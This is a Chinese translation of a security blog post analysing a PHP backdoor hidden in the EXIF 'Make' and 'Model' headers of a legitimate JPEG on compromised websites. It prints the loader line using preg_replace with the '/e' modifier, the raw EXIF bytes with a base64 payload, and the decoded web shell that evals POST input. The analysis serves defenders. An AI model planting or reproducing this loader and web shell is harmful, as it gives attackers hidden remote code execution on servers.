一種隱藏在JPG圖片EXIF中的后門
這是一個(gè)非常有趣的后門,它并沒有依靠正常模式去隱藏起內(nèi)容(比如 base64/gzip 編碼),但是它卻把自己的數(shù)據(jù)隱藏在JPEG圖片的EXIT頭部中了。它也使用exif_read_data和preg_replace兩個(gè)PHP函數(shù)來讀取EXIF頭部和執(zhí)行。
技術(shù)細(xì)節(jié)
這個(gè)后門可分為兩部分。第一部分是 exif_read_data 函數(shù)讀取圖片頭部,preg_replace 函數(shù)來執(zhí)行內(nèi)容。下面是我們?cè)诒还テ凭W(wǎng)站上發(fā)現(xiàn)的代碼:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
這兩個(gè)函數(shù)本身是無害滴。exif_read_data 函數(shù)常用來讀取圖片,preg_replace 函數(shù)是替代字符內(nèi)容。不過,preg_replace 函數(shù)函數(shù)有個(gè)隱藏并微妙的選項(xiàng),如果你傳入 “/e”,它會(huì)執(zhí)行 eval() 中的內(nèi)容,就不是去查詢/替代了。
所以我們?cè)诓榭碽un.jpg文件時(shí),發(fā)現(xiàn)后門的第二部分:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
這個(gè)文件用以常見的頭部開始,但是在 ”make” 頭部中混入了奇怪的關(guān)鍵字 ”/.*/e” 。有了這個(gè)執(zhí)行修飾符, preg_replace 會(huì)執(zhí)行 eval() 中傳入的任意內(nèi)容。
事情變得開始有趣了……
如果咱們繼續(xù)來看看 EXIF 數(shù)據(jù),我們能發(fā)現(xiàn), “eval ( base64_decode”隱藏在 ”Model“ 頭部。把這些放在一起看,咱們就知道怎么回事了。攻擊者是從 EXIF 中讀取 Make 和 Model 頭部信息,然后傳入到 preg_replace 函數(shù)。只要我們修改 $exif['Make'] 和 $exif['Model'] ,就得到了最終的后門。
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
解碼后我們可以看到是執(zhí)行 $_POST["zz1"] 提供的內(nèi)容。完整解碼后的后面在這里。
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
隱藏惡意軟件
另外一個(gè)有意思的是,雖然 bun.jpg 和其他圖片文件被修改了,但然后能加載并正常工作。實(shí)際上,在這些被攻破的站點(diǎn),攻擊者修改了站點(diǎn)上一個(gè)合法并之前就存在的圖片。這是一種奇特的隱藏惡意軟件的方法。
原文地址:http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html